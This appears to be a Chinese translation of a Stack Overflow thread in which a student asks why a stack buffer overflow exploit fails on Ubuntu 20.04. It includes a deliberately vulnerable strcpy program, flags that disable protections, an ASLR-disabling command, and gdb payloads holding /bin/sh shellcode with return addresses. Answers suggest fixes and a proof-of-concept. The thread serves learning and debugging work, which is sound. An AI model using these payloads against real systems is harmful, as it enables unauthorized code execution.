缓冲区溢出攻击在Ubuntu 20.04上无法生效。

4

我正在尝试对一个简单的C程序进行缓冲区溢出攻击,该程序接收一个缓冲区并将其打印出来。我已经尝试了许多组合,但最后,在尝试执行我的shellcode时,我总是得到“Segmentation Fault(分段错误)”。

主要参考了这个教程:

如何利用缓冲区溢出漏洞 - 实例

与教程中的不同之处在于,我也尝试在m64中编译程序,因为当我在m32中编译时,我的内存地址都不同。我尝试解释了我的步骤,但如果不清楚,您可以观看视频,因为我遵循了相同的过程。

我用来尝试攻击的代码是:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    return 0;
}

我是这样编译代码的:

gcc -o example -fno-stack-protector -m64 -z execstack example.c 

我也尝试使用m32编译它,但正如我之前所说,使用gdb反汇编main函数后我的结果与教程完全不同。另一方面,当我使用m64编译时,结果非常相似,因此更容易跟进。
一旦我编译好并打开gdb,我就会反汇编程序的主函数并查找strcpy调用。然后选取其中一个strcpy调用地址的右侧地址,并在该地址上设置断点。
之后,我运行Python代码。
run $(python -c "print('A'*256)")

然后我运行了这个命令,它会打印出256个A。在此之后,我使用以下命令检查程序的内容:

x/200xb $esp

现在我能够看到'AAA...'序列在内存中的确切地址,我会把它写在纸上,然后再次运行我的Python代码,以了解它何时使用哪个值进入分段错误状态。

一旦我找到了分段错误条件,我只需运行以下命令:

run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88
\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xcf\xff\xff')")

其中:

  • 222 是我需要到达 Segmentation Fault 的 \x90 数量减去我的shellcode的大小(46字节)
  • 最后的 '\x94\xcf\xff\xff' 是我之前在一张纸上记录下来的地址,当我在内存中检查 'AAAA' 序列并查看它从哪里开始时,我写下了这个地址。当然,当我使用m64编译程序时,这个地址会更长。

此时,当我运行命令时,应该执行shellcode,但实际上并没有发生,总是显示 Segmentation Fault。

当然,我也用以下命令禁用了aslr:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

非常抱歉我的解释可能有些凌乱,我尝试了很多不同的可能性,但从来没有得到正确的结果。(当然会改变一些标志、m64、m32,并略微调整最后一个命令的值)。

提前感谢您的帮助,因为我需要解决这个大学作业问题。


4
你已经在调试器下运行代码了:利用它吧!ret 指令处设置断点,并检查堆栈以查看你创建的返回值是否正确且正确地指向你的 shellcode。你可以使用 ni 单步执行代码以查看正在发生的情况,并使用 disassemble 显示即将执行的下一条指令。如果 disassemble 无法工作,可以使用类似 x /10i $rip(或 $eip 适用于32位代码)的命令。即使禁用了ASLR,堆栈仍然可能会改变地址(虽然不太可能),还有可能跳过 NOP 的开头而直接跳转到后面。 - Marco Bonelli
2个回答

0
我认为你的错误在于返回地址:
run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x94\xfc\xff\xbf')")

不要使用m32的0xffffcf94,而是使用0xbffffc94

也许这就是错误所在,因为您看的视频非常古老,今天有很多事情发生了变化。

为了测试它,可以在主函数的返回指令处设置断点,并在gdb中键入info registers以查看esp(堆栈指针)的值。

如果不是这种情况,那么也许您的shellcode对于ubuntu 20.04来说太旧了,或者您在x86可执行文件中使用了x64 shellcode。

尝试在你的shellcode开头添加\xcc以测试是否存在问题并导致SIGSEGV信号。

我也尝试开发了一个POC,下面是它:

image

run $(python -c 'print "\x90"*255 + "\xcc" + "aaaabbbbcccc" + "\x68\xfb\xff\xbf"')

其中\x90 * 255是255个nop指令,以确保我们会落在陷阱\xcc上。 aaaabbbbcccc是一些垃圾数据,我用它来到达eip,0xbffffb68是返回地址到堆栈。


-2

在跳转地址之前,您需要添加“ret”小工具


我认为其他答案更有意义,而这个答案在问题的背景下没有意义。 - Ubercoder

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接